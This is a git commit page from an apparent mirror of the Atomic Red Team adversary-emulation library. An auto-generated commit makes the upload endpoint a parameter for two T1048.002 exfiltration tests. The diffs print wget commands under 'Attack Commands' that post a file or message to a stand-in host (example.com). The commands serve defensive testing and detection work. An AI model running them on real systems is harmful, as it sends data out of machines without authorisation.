security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Generated docs from job=generate-docs branch=master [ci skip]

Browse Source
This commit is contained in:
Atomic Red Team doc generator
2024-07-19 04:22:39 +00:00
parent 9e39c9d5b3
commit 2a37d1cae8
3 changed files with 30 additions and 6 deletions
Download Patch File Download Diff File Expand all files Collapse all files
atomics/Indexes/index.yaml
+11 -2
View File
@@ -117672,11 +117672,15 @@ exfiltration:
description: Test data to upload
type: path
default: PathToAtomicsFolder/T1048.002/src/artifact
endpoint_domain:
description: Endpoint to send data to
type: string
default: https://example.com/
executor:
name: sh
elevation_required: false
command: 'wget --post-file="#{input_file}" --timeout=5 --no-check-certificate
https://example.com/ --delete-after
#{endpoint_domain} --delete-after
'
- name: Exfiltrate data as text over HTTPS using wget
@@ -117686,11 +117690,16 @@ exfiltration:
'
supported_platforms:
- linux
input_arguments:
endpoint_domain:
description: Endpoint to send data to
type: string
default: https://example.com/
executor:
name: sh
elevation_required: false
command: 'wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate
https://example.com/ --delete-after
#{endpoint_domain} --delete-after
'
T1041:
atomics/Indexes/linux-index.yaml
+11 -2
View File
@@ -72815,11 +72815,15 @@ exfiltration:
description: Test data to upload
type: path
default: PathToAtomicsFolder/T1048.002/src/artifact
endpoint_domain:
description: Endpoint to send data to
type: string
default: https://example.com/
executor:
name: sh
elevation_required: false
command: 'wget --post-file="#{input_file}" --timeout=5 --no-check-certificate
https://example.com/ --delete-after
#{endpoint_domain} --delete-after
'
- name: Exfiltrate data as text over HTTPS using wget
@@ -72829,11 +72833,16 @@ exfiltration:
'
supported_platforms:
- linux
input_arguments:
endpoint_domain:
description: Endpoint to send data to
type: string
default: https://example.com/
executor:
name: sh
elevation_required: false
command: 'wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate
https://example.com/ --delete-after
#{endpoint_domain} --delete-after
'
T1041:
atomics/T1048.002/T1048.002.md
+8 -2
View File
@@ -127,13 +127,14 @@ Exfiltrate data over HTTPS using wget --post-file method
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Test data to upload | path | PathToAtomicsFolder/T1048.002/src/artifact|
| endpoint_domain | Endpoint to send data to | string | https://example.com/|
#### Attack Commands: Run with `sh`!
```sh
wget --post-file="#{input_file}" --timeout=5 --no-check-certificate https://example.com/ --delete-after
wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
```
@@ -156,12 +157,17 @@ Exfiltrate data over HTTPS using wget --post-data method
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| endpoint_domain | Endpoint to send data to | string | https://example.com/|
#### Attack Commands: Run with `sh`!
```sh
wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate https://example.com/ --delete-after
wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after
```